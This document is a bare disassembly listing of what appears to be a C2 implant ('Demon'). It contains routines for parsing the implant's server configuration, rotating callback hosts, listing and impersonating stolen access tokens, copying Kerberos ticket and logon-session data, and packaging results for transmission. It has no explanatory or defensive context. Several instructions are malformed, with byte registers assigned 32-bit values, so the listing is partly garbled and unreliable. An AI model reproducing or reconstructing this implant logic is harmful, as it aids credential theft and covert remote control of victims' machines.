14000ef8emov rax, [rip+0x1d3db]
14000ef95mov r8, [rsp+104]
14000ef9amov rdx, [rax+2230]
14000efa1mov rdx, [rdx+96]
14000efa5mov rcx, [rdx+48]
14000efa9xor edx, edx
14000efabcall [rax+332]
14000efb1jmp 0x14000f1b0
14000efb6mov rcx, rsi
14000efb9lea r9, [rip+0x17df4]
14000efc0mov r8l, 1579
14000efc6lea rdx, [rip+0x1daa3]
14000efcdcall printf
14000efd2call TokenRevSelf
14000efd7mov rcx, [rsp+64]
14000efdcmov esi, eax
14000efdemov edx, eax
14000efe0call PackageAddInt32
14000efe5test esi, esi
14000efe7mov rsi, [rip+0x1d382]
14000efeejne 0x14000f004
14000eff0mov rax, [rsi+2230]
14000eff7mov ecx, 1
14000effcmov edx, [rax+104]
14000efffcall PackageTransmitError
14000f004
14000f004loc_14000f004:
14000f004xor ecx, ecx
14000f006xor r8l, r8l
14000f009mov [rsi+2282], rcx
14000f010mov [rsi+2290], r8l
14000f017jmp 0x14000f1b0
14000f01clea r9, [rip+0x17d9f]
14000f023mov r8l, 1594
14000f029lea rdx, [rip+0x1da40]
14000f030mov rcx, rsi
14000f033call printf
14000f038mov rcx, rdi
14000f03bcall ParserGetInt32
14000f040mov ecx, eax
14000f042mov esi, eax
14000f044call TokenRemove
14000f049mov rcx, [rsp+64]
14000f04emov edx, eax
14000f050call PackageAddInt32
14000f055mov edx, esi
14000f057
14000f057loc_14000f057:
14000f057mov rcx, [rsp+64]
14000f05ccall PackageAddInt32
14000f061jmp 0x14000f1b0
14000f066lea r9, [rip+0x17d63]
14000f06dmov r8l, 1604
14000f073lea rdx, [rip+0x1d9f6]
14000f07amov rcx, rsi
14000f07dcall printf
14000f082call TokenClear
14000f087jmp 0x14000f1b0
14000f08cmov rcx, rsi
14000f08flea r9, [rip+0x17d47]
14000f096mov r8l, 1612
14000f09clea rdx, [rip+0x1d9cd]
14000f0a3call printf
14000f0a8xor edx, edx
14000f0aaxor eax, eax
14000f0aclea rcx, [rsp+104]
14000f0b1mov [rsp+100], edx
14000f0b5lea rdx, [rsp+100]
14000f0bamov [rsp+104], rax
14000f0bfcall ListTokens
14000f0c4mov rcx, [rsp+64]
14000f0c9mov esi, eax
14000f0cbmov edx, eax
14000f0cdcall PackageAddInt32
14000f0d2test esi, esi
14000f0d4jne 0x14000f10a
14000f0d6
14000f0d6loc_14000f0d6:
14000f0d6mov rdi, [rsp+104]
14000f0dbtest rdi, rdi
14000f0deje 0x14000f1b0
14000f0e4mov ecx, [rsp+100]
14000f0e8xor eax, eax
14000f0eaimul rcx, rcx, 1056
14000f0f1rep stosb [rdi], al
14000f0f3mov rax, [rip+0x1d276]
14000f0famov rcx, [rsp+104]
14000f0ffcall [rax+940]
14000f105jmp 0x14000f1b0
14000f10a
14000f10aloc_14000f10a:
14000f10amov edx, [rsp+100]
14000f10emov rcx, [rsp+64]
14000f113xor edi, edi
14000f115call PackageAddInt32
14000f11a
14000f11aloc_14000f11a:
14000f11amov rdx, [rsp+104]
14000f11fcmp edi, [rsp+100]
14000f123jae 0x14000f0d6
14000f125mov esi, edi
14000f127mov rcx, [rsp+64]
14000f12cinc edi
14000f12eimul rsi, rsi, 1056
14000f135add rdx, rsi
14000f138call PackageAddWString
14000f13dmov rax, [rsp+104]
14000f142mov rcx, [rsp+64]
14000f147mov edx, [rax+rsi+1024]
14000f14ecall PackageAddInt32
14000f153mov rax, [rsp+104]
14000f158mov rcx, [rsp+64]
14000f15dmov edx, [rax+rsi+1032]
14000f164call PackageAddInt32
14000f169mov rax, [rsp+104]
14000f16emov rcx, [rsp+64]
14000f173mov edx, [rax+rsi+1040]
14000f17acall PackageAddInt32
14000f17fmov rax, [rsp+104]
14000f184mov rcx, [rsp+64]
14000f189mov edx, [rax+rsi+1044]
14000f190call PackageAddInt32
14000f195mov rax, [rsp+104]
14000f19amov rcx, [rsp+64]
14000f19fmov edx, [rax+rsi+1048]
14000f1a6call PackageAddInt32
14000f1abjmp 0x14000f11a
14000f1b0
14000f1b0loc_14000f1b0:
14000f1b0mov rcx, [rsp+64]
14000f1b5add rsp, 376
14000f1bcpop rbx
14000f1bdpop rsi
14000f1bepop rdi
14000f1bfpop rbp
14000f1c0pop r12
14000f1c2pop r13
14000f1c4pop r14
14000f1c6pop r15
14000f1c8jmp 0x140018b90
14000e810

14000f1cd
14000f1cd // align 0x10

14000f1d0
14000f1d0CommandTransfer:
14000f1d0push r12
14000f1d2push rbp
14000f1d3mov rbp, rcx
14000f1d6mov ecx, 2530
14000f1dbpush rdi
14000f1dcpush rsi
14000f1ddpush rbx
14000f1desub rsp, 32
14000f1e2call PackageCreate
14000f1e7mov rcx, rbp
14000f1eamov rsi, rax
14000f1edcall ParserGetInt32
14000f1f2mov rcx, rsi
14000f1f5mov edi, eax
14000f1f7mov rax, [rip+0x1d172]
14000f1femov edx, edi
14000f200mov rbx, [rax+2310]
14000f207call PackageAddInt32
14000f20ccmp edi, 2
14000f20fje 0x14000f321
14000f215jg 0x14000f256
14000f217test edi, edi
14000f219je 0x14000f291
14000f21bcmp edi, 1
14000f21ejne 0x14000f41c
14000f224lea r12, [rip+0x1dfc5]
14000f22blea r9, [rip+0x16e4b]
14000f232mov r8l, 2579
14000f238mov rdx, r12
14000f23blea rcx, [rip+0x16dc6]
14000f242call printf
14000f247mov rcx, rbp
14000f24acall ParserGetInt32
14000f24fmov ebp, eax
14000f251jmp 0x14000f2e4
14000f256
14000f256loc_14000f256:
14000f256cmp edi, 3
14000f259jne 0x14000f41c
14000f25flea r12, [rip+0x1df8a]
14000f266lea r9, [rip+0x16e65]
14000f26dmov r8l, 2634
14000f273mov rdx, r12
14000f276lea rcx, [rip+0x16d8b]
14000f27dcall printf
14000f282mov rcx, rbp
14000f285call ParserGetInt32
14000f28amov edi, eax
14000f28cjmp 0x14000f38e
14000f291
14000f291loc_14000f291:
14000f291lea r9, [rip+0x16dd6]
14000f298mov r8l, 2562
14000f29elea rdx, [rip+0x1df4b]
14000f2a5lea rcx, [rip+0x16d5c]
14000f2accall printf
14000f2b1
14000f2b1loc_14000f2b1:
14000f2b1test rbx, rbx
14000f2b4je 0x14000f41c
14000f2bamov edx, [rbx]
14000f2bcmov rcx, rsi
14000f2bfcall PackageAddInt32
14000f2c4mov edx, [rbx+32]
14000f2c7mov rcx, rsi
14000f2cacall PackageAddInt32
14000f2cfmov edx, [rbx+40]
14000f2d2mov rcx, rsi
14000f2d5call PackageAddInt32
14000f2damov rbx, [rbx+48]
14000f2dejmp 0x14000f2b1
14000f2e0
14000f2e0loc_14000f2e0:
14000f2e0mov rbx, [rbx+48]
14000f2e4
14000f2e4loc_14000f2e4:
14000f2e4test rbx, rbx
14000f2e7je 0x14000f30e
14000f2e9cmp [rbx], ebp
14000f2ebjne 0x14000f2e0
14000f2edmov [rbx+40], 2
14000f2f4mov r9l, ebp
14000f2f7mov r8l, 2593
14000f2fdmov rdx, r12
14000f300lea rcx, [rip+0x16d85]
14000f307call printf
14000f30cjmp 0x14000f310
14000f30e
14000f30eloc_14000f30e:
14000f30exor edi, edi
14000f310
14000f310loc_14000f310:
14000f310mov edx, edi
14000f312mov rcx, rsi
14000f315call PackageAddInt32
14000f31amov edx, ebp
14000f31cjmp 0x14000f414
14000f321
14000f321loc_14000f321:
14000f321lea r12, [rip+0x1dec8]
14000f328lea r9, [rip+0x16d92]
14000f32fmov r8l, 2606
14000f335mov rdx, r12
14000f338lea rcx, [rip+0x16cc9]
14000f33fcall printf
14000f344mov rcx, rbp
14000f347call ParserGetInt32
14000f34cmov edi, eax
14000f34e
14000f34eloc_14000f34e:
14000f34etest rbx, rbx
14000f351je 0x14000f408
14000f357cmp [rbx], edi
14000f359jne 0x14000f384
14000f35bmov [rbx+40], 1
14000f362mov rdx, r12
14000f365mov r9l, edi
14000f368mov r8l, 2620
14000f36elea rcx, [rip+0x16d17]
14000f375call printf
14000f37amov edx, 1
14000f37fjmp 0x14000f40a
14000f384
14000f384loc_14000f384:
14000f384mov rbx, [rbx+48]
14000f388jmp 0x14000f34e
14000f38a
14000f38aloc_14000f38a:
14000f38amov rbx, [rbx+48]
14000f38e
14000f38eloc_14000f38e:
14000f38etest rbx, rbx
14000f391je 0x14000f408
14000f393cmp [rbx], edi
14000f395jne 0x14000f38a
14000f397mov [rbx+40], 3
14000f39emov r9l, edi
14000f3a1mov r8l, 2648
14000f3a7mov rdx, r12
14000f3aalea rcx, [rip+0x16cdb]
14000f3b1call printf
14000f3b6mov rcx, rsi
14000f3b9mov edx, 1
14000f3becall PackageAddInt32
14000f3c3mov edx, edi
14000f3c5mov rcx, rsi
14000f3c8call PackageAddInt32
14000f3cdmov ecx, 2530
14000f3d2call PackageCreate
14000f3d7mov edx, 3
14000f3dcmov rbx, rax
14000f3dfmov rcx, rax
14000f3e2call PackageAddInt32
14000f3e7mov edx, edi
14000f3e9mov rcx, rbx
14000f3eccall PackageAddInt32
14000f3f1mov rcx, rbx
14000f3f4mov edx, 1
14000f3f9call PackageAddInt32
14000f3femov rcx, rbx
14000f401call PackageTransmit
14000f406jmp 0x14000f41c
14000f408
14000f408loc_14000f408:
14000f408xor edx, edx
14000f40a
14000f40aloc_14000f40a:
14000f40amov rcx, rsi
14000f40dcall PackageAddInt32
14000f412mov edx, edi
14000f414
14000f414loc_14000f414:
14000f414mov rcx, rsi
14000f417call PackageAddInt32
14000f41c
14000f41cloc_14000f41c:
14000f41cadd rsp, 32
14000f420mov rcx, rsi
14000f423pop rbx
14000f424pop rsi
14000f425pop rdi
14000f426pop rbp
14000f427pop r12
14000f429jmp 0x140018b90
14000f1d0

14000f42e
14000f42e // align 0x10

14000f430
14000f430CopySessionInfo:
14000f430push rbp
14000f431mov rbp, rcx
14000f434push rdi
14000f435mov rdi, rbp
14000f438lea rax, [rbp+1024]
14000f43fpush rsi
14000f440push rbx
14000f441mov rbx, rdx
14000f444sub rsp, 56
14000f448mov rsi, [rdx+24]
14000f44cmovzx ecx, [rdx+16]
14000f450rep movsb [rdi], [rsi]
14000f452mov rdi, rax
14000f455mov rsi, [rdx+40]
14000f459movzx ecx, [rdx+32]
14000f45drep movsb [rdi], [rsi]
14000f45fmov rsi, [rip+0x1cf0a]
14000f466xor ecx, ecx
14000f468mov [rsp+40], rcx
14000f46dmov eax, [rdx+4]
14000f470mov rcx, [rbx+72]
14000f474mov [rbp+2048], eax
14000f47amov eax, [rdx+8]
14000f47dmov [rbp+2052], eax
14000f483mov eax, [rdx+68]
14000f486lea rdx, [rsp+40]
14000f48bmov [rbp+2056], eax
14000f491call [rsi+1468]
14000f497test eax, eax
14000f499je 0x14000f4be
14000f49bmov rdx, [rsp+40]
14000f4a0lea rcx, [rbp+2060]
14000f4a7call StringCopyW
14000f4acmov rcx, [rsp+40]
14000f4b1call [rsi+940]
14000f4b7xor edx, edx
14000f4b9mov [rsp+40], rdx
14000f4be
14000f4beloc_14000f4be:
14000f4bemov rax, [rbx+80]
14000f4c2mov rsi, [rbx+56]
14000f4c6movzx ecx, [rbx+48]
14000f4camov [rbp+3088], rax
14000f4d1mov eax, [rbx+64]
14000f4d4mov [rbp+3096], eax
14000f4dalea rax, [rbp+3100]
14000f4e1mov rdi, rax
14000f4e4lea rax, [rbp+4124]
14000f4ebrep movsb [rdi], [rsi]
14000f4edmov rdi, rax
14000f4f0lea rax, [rbp+5148]
14000f4f7mov rsi, [rbx+96]
14000f4fbmovzx ecx, [rbx+88]
14000f4ffrep movsb [rdi], [rsi]
14000f501mov rdi, rax
14000f504lea rax, [rbp+6172]
14000f50bmov rsi, [rbx+112]
14000f50fmovzx ecx, [rbx+104]
14000f513rep movsb [rdi], [rsi]
14000f515mov rdi, rax
14000f518xor eax, eax
14000f51amov rsi, [rbx+128]
14000f521movzx ecx, [rbx+120]
14000f525rep movsb [rdi], [rsi]
14000f527mov [rbp+7200], rax
14000f52eadd rsp, 56
14000f532pop rbx
14000f533pop rsi
14000f534pop rdi
14000f535pop rbp
14000f536ret
14000f430

14000f537
14000f537 // align 0x10

14000f540
14000f540CopyTicketInfo:
14000f540mov r8, rcx
14000f543push rdi
14000f544mov rax, rdx
14000f547push rsi
14000f548mov rdi, r8
14000f54bmov rsi, [rdx+8]
14000f54fmovzx ecx, [rdx]
14000f552lea rdx, [r8+1024]
14000f559rep movsb [rdi], [rsi]
14000f55bmov rdi, rdx
14000f55elea rdx, [r8+2048]
14000f565mov rsi, [rax+24]
14000f569movzx ecx, [rax+16]
14000f56drep movsb [rdi], [rsi]
14000f56fmov rdi, rdx
14000f572lea rdx, [r8+3072]
14000f579mov rsi, [rax+40]
14000f57dmovzx ecx, [rax+32]
14000f581rep movsb [rdi], [rsi]
14000f583mov rdi, rdx
14000f586mov rsi, [rax+56]
14000f58amovzx ecx, [rax+48]
14000f58erep movsb [rdi], [rsi]
14000f590mov edx, [rax+64]
14000f593mov [r8+4096], edx
14000f59amov edx, [rax+68]
14000f59dmov [r8+4100], edx
14000f5a4mov edx, [rax+72]
14000f5a7mov [r8+4104], edx
14000f5aemov edx, [rax+76]
14000f5b1mov [r8+4108], edx
14000f5b8mov edx, [rax+80]
14000f5bbmov [r8+4112], edx
14000f5c2mov edx, [rax+84]
14000f5c5mov [r8+4116], edx
14000f5ccmov edx, [rax+88]
14000f5cfmov [r8+4120], edx
14000f5d6mov eax, [rax+92]
14000f5d9xor edx, edx
14000f5dbpop rsi
14000f5dcpop rdi
14000f5ddmov [r8+4136], edx
14000f5e4mov [r8+4124], eax
14000f5ebxor eax, eax
14000f5edmov [r8+4128], rax
14000f5f4ret
14000f540

14000f5f5
14000f5f5 // align 0x10

14000f600
14000f600DemonConfig:
14000f600push r15
14000f602xor eax, eax
14000f604mov ecx, 8
14000f609xor r11l, r11l
14000f60cpush r14
14000f60emov r9l, 518
14000f614mov r8l, 577
14000f61alea rdx, [rip+0x1d16f]
14000f621push r13
14000f623push r12
14000f625push rbp
14000f626push rdi
14000f627push rsi
14000f628push rbx
14000f629sub rsp, 136
14000f630lea rdi, [rsp+96]
14000f635mov [rsp+92], r11l
14000f63arep stosd [rdi], eax
14000f63clea rcx, [rip+0x1c148]
14000f643lea rdi, [rip+0x14b96]
14000f64acall printf
14000f64flea rax, [rsp+96]
14000f654mov r8l, 518
14000f65amov rdx, rdi
14000f65dmov rcx, rax
14000f660mov [rsp+72], rax
14000f665call ParserNew
14000f66amov ecx, 518
14000f66fxor eax, eax
14000f671rep stosb [rdi], al
14000f673mov rcx, [rsp+72]
14000f678lea rbp, [rsp+92]
14000f67dcall ParserGetInt32
14000f682mov rcx, [rsp+72]
14000f687mov [rip+0x14dd3], eax
14000f68dcall ParserGetInt32
14000f692mov r9l, [rip+0x14dc7]
14000f699mov r8l, 584
14000f69flea rdx, [rip+0x1d0ea]
14000f6a6mov [rsp+32], eax
14000f6aalea rcx, [rip+0x1c0fb]
14000f6b1mov [rip+0x14dad], eax
14000f6b7call printf
14000f6bcmov rcx, [rsp+72]
14000f6c1call ParserGetInt32
14000f6c6mov rcx, [rsp+72]
14000f6cbmov [rip+0x14e27], eax
14000f6d1call ParserGetInt32
14000f6d6mov r9l, [rip+0x14e1b]
14000f6ddmov r8l, 589
14000f6e3lea rdx, [rip+0x1d0a6]
14000f6eamov [rsp+32], eax
14000f6eelea rcx, [rip+0x1c0d9]
14000f6f5mov [rip+0x14e01], eax
14000f6fbcall printf
14000f700mov rcx, [rsp+72]
14000f705mov rdx, rbp
14000f708call ParserGetBytes
14000f70dmov edx, [rsp+92]
14000f711mov ecx, 64
14000f716mov rsi, rax
14000f719call [rip+0x15085]
14000f71fmov ecx, [rsp+92]
14000f723mov rdx, rbp
14000f726mov [rip+0x14dd3], rax
14000f72dmov rdi, rax
14000f730rep movsb [rdi], [rsi]
14000f732mov rcx, [rsp+72]
14000f737call ParserGetBytes
14000f73cmov edx, [rsp+92]
14000f740mov ecx, 64
14000f745mov rsi, rax
14000f748call [rip+0x15056]
14000f74emov ecx, [rsp+92]
14000f752mov r8l, 605
14000f758lea rdx, [rip+0x1d031]
14000f75fmov [rip+0x14da2], rax
14000f766mov rdi, rax
14000f769rep movsb [rdi], [rsi]
14000f76blea rcx, [rip+0x1c0a3]
14000f772mov rax, [rip+0x14d8f]
14000f779mov r9, [rip+0x14d80]
14000f780mov [rsp+32], rax
14000f785call printf
14000f78amov rcx, [rsp+72]
14000f78fcall ParserGetInt32
14000f794mov rcx, [rsp+72]
14000f799mov [rip+0x14d33], eax
14000f79fcall ParserGetInt32
14000f7a4mov rcx, [rsp+72]
14000f7a9mov [rip+0x14d27], eax
14000f7afcall ParserGetInt32
14000f7b4mov rcx, [rsp+72]
14000f7b9mov [rip+0x14d1f], al
14000f7bfcall ParserGetInt32
14000f7c4mov rcx, [rsp+72]
14000f7c9mov [rip+0x14d0b], eax
14000f7cfcall ParserGetInt32
14000f7d4lea rcx, [rip+0x1bfa5]
14000f7dbcmp [rip+0x14cf8], 0
14000f7e2lea rdx, [rip+0x1bf9c]
14000f7e9mov r9, rcx
14000f7ecmov [rip+0x14ced], al
14000f7f2movzx r8l, [rip+0x14ce4]
14000f7famovzx eax, al
14000f7fdcmove r9, rdx
14000f801mov [rsp+56], eax
14000f805cmp [rip+0x14cca], 0
14000f80ccmovne rdx, rcx
14000f810mov [rsp+40], r8l
14000f815lea rcx, [rip+0x1c03f]
14000f81cmov r8l, 620
14000f822mov [rsp+48], r9
14000f827mov r9l, [rip+0x14ca4]
14000f82emov [rsp+32], rdx
14000f833lea rdx, [rip+0x1cf56]
14000f83amov [rip+0x14cb0], 0x80000
14000f844call printf
14000f849mov rcx, [rsp+72]
14000f84ecall ParserGetInt64
14000f853mov r8l, 636
14000f859lea rdx, [rip+0x1cf30]
14000f860lea rcx, [rip+0x1c094]
14000f867mov r9, rax
14000f86amov [rip+0x14c0b], rax
14000f871call printf
14000f876cmp [rip+0x14bfe], 0
14000f87eje 0x14000f896
14000f880call GetSystemFileTime
14000f885cmp rax, [rip+0x14bf0]
14000f88cjb 0x14000f896
14000f88exor ecx, ecx
14000f890call [rip+0x14cd6]
14000f896
14000f896loc_14000f896:
14000f896mov rcx, [rsp+72]
14000f89bxor r12l, r12l
14000f89elea r13, [rip+0x1c09a]
14000f8a5call ParserGetInt32
14000f8aamov rcx, [rsp+72]
14000f8afmov rdx, rbp
14000f8b2mov [rip+0x14bcc], eax
14000f8b8call ParserGetBytes
14000f8bdmov rdx, [rip+0x153f2]
14000f8c4mov rsi, rax
14000f8c7mov eax, [rsp+92]
14000f8cbmov rdx, [rdx+96]
14000f8cflea r8, [rax+2]
14000f8d3mov rcx, [rdx+48]
14000f8d7mov edx, 8
14000f8dccall [rip+0x14c5a]
14000f8e2mov ecx, [rsp+92]
14000f8e6mov [rip+0x14b9b], rax
14000f8edmov rdi, rax
14000f8f0rep movsb [rdi], [rsi]
14000f8f2mov rcx, [rsp+72]
14000f8f7call ParserGetInt32
14000f8fcmov rcx, [rsp+72]
14000f901xor r10l, r10l
14000f904xor r9l, r9l
14000f907mov [rip+0x14b88], r9l
14000f90emov [rip+0x14b5b], r10
14000f915mov [rip+0x14b4c], r10
14000f91cmov [rip+0x14b6d], ax
14000f923call ParserGetInt32
14000f928mov r8l, 658
14000f92elea rdx, [rip+0x1ce5b]
14000f935lea rcx, [rip+0x1bfdd]
14000f93cmov r9l, eax
14000f93fmov esi, eax
14000f941call printf
14000f946
14000f946loc_14000f946:
14000f946cmp esi, r12l
14000f949je 0x14000f99c
14000f94bmov rcx, [rsp+72]
14000f950mov rdx, rbp
14000f953call ParserGetBytes
14000f958mov rcx, [rsp+72]
14000f95dmov rdi, rax
14000f960call ParserGetInt32
14000f965lea rdx, [rip+0x1ce24]
14000f96cmov r9, rdi
14000f96fmov rcx, r13
14000f972mov [rsp+32], eax
14000f976mov r8l, 664
14000f97cmov r14l, eax
14000f97fcall printf
14000f984mov edx, [rsp+92]
14000f988test edx, edx
14000f98aje 0x14000f997
14000f98cmov r8l, r14l
14000f98fmov rcx, rdi
14000f992call HostAdd
14000f997
14000f997loc_14000f997:
14000f997inc r12l
14000f99ajmp 0x14000f946
14000f99c
14000f99cloc_14000f99c:
14000f99ccall HostCount
14000f9a1mov r8l, 673
14000f9a7lea rdx, [rip+0x1cde2]
14000f9aelea rcx, [rip+0x1bfa6]
14000f9b5mov r9l, eax
14000f9b8mov [rip+0x14aba], eax
14000f9belea r15, [rip+0x1c064]
14000f9c5call printf
14000f9camovsx ecx, [rip+0x14abf]
14000f9d1call HostRotation
14000f9d6mov r8l, 677
14000f9dclea rcx, [rip+0x1bf9b]
14000f9e3mov edx, [rax+8]
14000f9e6mov [rip+0x14a7b], rax
14000f9edmov [rsp+32], edx
14000f9f1mov r9, [rax]
14000f9f4lea rdx, [rip+0x1cd95]
14000f9fbcall printf
14000fa00mov rcx, [rsp+72]
14000fa05call ParserGetInt32
14000fa0alea r9, [rip+0x1bd74]
14000fa11mov r8l, 681
14000fa17lea rdx, [rip+0x1cd72]
14000fa1etest eax, eax
14000fa20mov [rip+0x14a74], eax
14000fa26lea rax, [rip+0x1bd53]
14000fa2dlea rcx, [rip+0x1bf7f]
14000fa34cmovne r9, rax
14000fa38xor ebx, ebx
14000fa3axor r14l, r14l
14000fa3dcall printf
14000fa42mov rcx, [rsp+72]
14000fa47mov rdx, rbp
14000fa4acall ParserGetBytes
14000fa4fmov rdx, [rip+0x15260]
14000fa56mov rsi, rax
14000fa59mov eax, [rsp+92]
14000fa5dmov rdx, [rdx+96]
14000fa61lea r8, [rax+2]
14000fa65mov rcx, [rdx+48]
14000fa69mov edx, 8
14000fa6ecall [rip+0x14ac8]
14000fa74mov ecx, [rsp+92]
14000fa78mov r8l, 687
14000fa7elea rdx, [rip+0x1cd0b]
14000fa85mov [rip+0x14a12], rax
14000fa8cmov rdi, rax
14000fa8frep movsb [rdi], [rsi]
14000fa91lea rcx, [rip+0x1bf40]
14000fa98mov r9, [rip+0x149ff]
14000fa9fcall printf
14000faa4mov rcx, [rsp+72]
14000faa9call ParserGetInt32
14000faaemov rdx, [rip+0x15201]
14000fab5lea r13l, [rax+1]
14000fab9mov r12l, eax
14000fabcmov rdx, [rdx+96]
14000fac0lea eax, [r13+r13]
14000fac5lea r8, [8*rax]
14000facdmov rcx, [rdx+48]
14000fad1mov edx, 8
14000fad6call [rip+0x14a60]
14000fadcmov r9l, r12l
14000fadfmov r8l, 692
14000fae5lea rdx, [rip+0x1cca4]
14000faeclea rcx, [rip+0x1bf0e]
14000faf3mov [rip+0x149b4], rax
14000fafacall printf
14000faff
14000faffloc_14000faff:
14000faffcmp ebx, r12l
14000fb02jae 0x14000fb98
14000fb08mov rcx, [rsp+72]
14000fb0dmov rdx, rbp
14000fb10call ParserGetBytes
14000fb15mov rdx, [rip+0x1519a]
14000fb1cmov rsi, rax
14000fb1fmov rax, [rip+0x14988]
14000fb26mov rdx, [rdx+96]
14000fb2alea rdi, [rax+8*rbx]
14000fb2emov eax, [rsp+92]
14000fb32mov rcx, [rdx+48]
14000fb36mov edx, 8
14000fb3blea r8, [rax+2]
14000fb3fcall [rip+0x149f7]
14000fb45mov ecx, [rsp+92]
14000fb49mov [rdi], rax
14000fb4cmov rax, [rip+0x1495b]
14000fb53mov rdi, [rax+8*rbx]
14000fb57mov eax, r14l
14000fb5arep stosb [rdi], al
14000fb5cmov rax, [rip+0x1494b]
14000fb63mov ecx, [rsp+92]
14000fb67mov r8l, 700
14000fb6dlea rdx, [rip+0x1cc1c]
14000fb74mov rax, [rax+8*rbx]
14000fb78mov rdi, rax
14000fb7brep movsb [rdi], [rsi]
14000fb7dmov rcx, r15
14000fb80mov rax, [rip+0x14927]
14000fb87mov r9, [rax+8*rbx]
14000fb8binc rbx
14000fb8ecall printf
14000fb93jmp 0x14000faff
14000fb98
14000fb98loc_14000fb98:
14000fb98mov rax, [rip+0x1490f]
14000fb9fxor r8l, r8l
14000fba2xor ebx, ebx
14000fba4xor r14l, r14l
14000fba7mov rcx, [rsp+72]
14000fbaclea r15, [rip+0x1be76]
14000fbb3mov [rax+8*r13], r8
14000fbb7call ParserGetInt32
14000fbbcmov rdx, [rip+0x150f3]
14000fbc3lea r13l, [rax+1]
14000fbc7mov r12l, eax
14000fbcamov rdx, [rdx+96]
14000fbcelea eax, [r13+r13]
14000fbd3lea r8, [8*rax]
14000fbdbmov rcx, [rdx+48]
14000fbdfmov edx, 8
14000fbe4call [rip+0x14952]
14000fbeamov r9l, r12l
14000fbedmov r8l, 708
14000fbf3lea rdx, [rip+0x1cb96]
14000fbfalea rcx, [rip+0x1be41]
14000fc01mov [rip+0x1489e], rax
14000fc08call printf
14000fc0d
14000fc0dloc_14000fc0d:
14000fc0dcmp ebx, r12l
14000fc10jae 0x14000fcaa
14000fc16mov rcx, [rsp+72]
14000fc1bmov rdx, rbp
14000fc1ecall ParserGetBytes
14000fc23mov rdx, [rip+0x1508c]
14000fc2amov rsi, rax
14000fc2dmov rax, [rip+0x14872]
14000fc34mov rdx, [rdx+96]
14000fc38lea rdi, [rax+8*rbx]
14000fc3cmov eax, [rsp+92]
14000fc40mov rcx, [rdx+48]
14000fc44mov edx, 8
14000fc49lea r8, [rax+2]
14000fc4dcall [rip+0x148e9]
14000fc53mov ecx, [rsp+92]
14000fc57mov [rdi], rax
14000fc5amov rax, [rip+0x14845]
14000fc61add rcx, 2
14000fc65mov rdi, [rax+8*rbx]
14000fc69mov eax, r14l
14000fc6crep stosb [rdi], al
14000fc6emov rax, [rip+0x14831]
14000fc75mov ecx, [rsp+92]
14000fc79mov r8l, 716
14000fc7flea rdx, [rip+0x1cb0a]
14000fc86mov rax, [rax+8*rbx]
14000fc8amov rdi, rax
14000fc8drep movsb [rdi], [rsi]
14000fc8fmov rcx, r15
14000fc92mov rax, [rip+0x1480d]
14000fc99mov r9, [rax+8*rbx]
14000fc9dinc rbx
14000fca0call printf
14000fca5jmp 0x14000fc0d
14000fcaa
14000fcaaloc_14000fcaa:
14000fcaamov rax, [rip+0x147f5]
14000fcb1xor ecx, ecx
14000fcb3mov [rax+8*r13], rcx
14000fcb7mov rcx, [rsp+72]
14000fcbccall ParserGetInt32
14000fcc1lea rcx, [rip+0x1bdb8]
14000fcc8test eax, eax
14000fccamov [rip+0x147e6], eax
14000fcd0je 0x14000fe2c
14000fcd6lea r9, [rip+0x1bd8a]
14000fcddmov r8l, 725
14000fce3lea rdx, [rip+0x1caa6]
14000fceacall printf
14000fcefmov rcx, [rsp+72]
14000fcf4mov rdx, rbp
14000fcf7call ParserGetBytes
14000fcfcmov rdx, [rip+0x14fb3]
14000fd03mov rsi, rax
14000fd06mov eax, [rsp+92]
14000fd0amov rdx, [rdx+96]
14000fd0elea r8, [rax+2]
14000fd12mov rcx, [rdx+48]
14000fd16mov edx, 8
14000fd1bcall [rip+0x1481b]
14000fd21mov ecx, [rsp+92]
14000fd25mov r8l, 729
14000fd2blea rdx, [rip+0x1ca5e]
14000fd32mov [rip+0x14781], rax
14000fd39mov rdi, rax
14000fd3crep movsb [rdi], [rsi]
14000fd3elea rcx, [rip+0x1bd4f]
14000fd45mov r9, [rip+0x1476e]
14000fd4ccall printf
14000fd51mov rcx, [rsp+72]
14000fd56mov rdx, rbp
14000fd59call ParserGetBytes
14000fd5emov r8l, [rsp+92]
14000fd63mov rsi, rax
14000fd66test r8l, r8l
14000fd69je 0x14000fdb7
14000fd6bmov rax, [rip+0x14f44]
14000fd72mov edx, 8
14000fd77mov rax, [rax+96]
14000fd7bmov rcx, [rax+48]
14000fd7fcall [rip+0x147b7]
14000fd85mov ecx, [rsp+92]
14000fd89mov r8l, 736
14000fd8flea rdx, [rip+0x1c9fa]
14000fd96mov [rip+0x14725], rax
14000fd9dmov rdi, rax
14000fda0rep movsb [rdi], [rsi]
14000fda2lea rcx, [rip+0x1bd16]
14000fda9mov r9, [rip+0x14712]
14000fdb0call printf
14000fdb5jmp 0x14000fdc0
14000fdb7
14000fdb7loc_14000fdb7:
14000fdb7xor edx, edx
14000fdb9mov [rip+0x14702], rdx
14000fdc0
14000fdc0loc_14000fdc0:
14000fdc0mov rcx, [rsp+72]
14000fdc5mov rdx, rbp
14000fdc8call ParserGetBytes
14000fdcdmov r8l, [rsp+92]
14000fdd2mov rsi, rax
14000fdd5test r8l, r8l
14000fdd8je 0x14000fe21
14000fddamov rax, [rip+0x14ed5]
14000fde1mov edx, 8
14000fde6mov rax, [rax+96]
14000fdeamov rcx, [rax+48]
14000fdeecall [rip+0x14748]
14000fdf4mov ecx, [rsp+92]
14000fdf8mov r8l, 746
14000fdfelea rdx, [rip+0x1c98b]
14000fe05mov [rip+0x146be], rax
14000fe0cmov rdi, rax
14000fe0frep movsb [rdi], [rsi]
14000fe11lea rcx, [rip+0x1bcd7]
14000fe18mov r9, [rip+0x146ab]
14000fe1fjmp 0x14000fe40
14000fe21
14000fe21loc_14000fe21:
14000fe21xor eax, eax
14000fe23mov [rip+0x146a0], rax
14000fe2ajmp 0x14000fe45
14000fe2c
14000fe2cloc_14000fe2c:
14000fe2clea r9, [rip+0x1bcec]
14000fe33mov r8l, 753
14000fe39lea rdx, [rip+0x1c950]
14000fe40
14000fe40loc_14000fe40:
14000fe40call printf
14000fe45
14000fe45loc_14000fe45:
14000fe45mov rax, [rip+0x146e0]
14000fe4cmov rcx, [rsp+72]
14000fe51mov [rip+0x146b5], 2
14000fe5badd rax, 18
14000fe5fmov [rip+0x1467e], rax
14000fe66call ParserDestroy
14000fe6badd rsp, 136
14000fe72pop rbx
14000fe73pop rsi
14000fe74pop rdi
14000fe75pop rbp
14000fe76pop r12
14000fe78pop r13
14000fe7apop r14
14000fe7cpop r15
14000fe7eret
14000f600

14000fe7f
14000fe7f // align 0x10

14000fe80
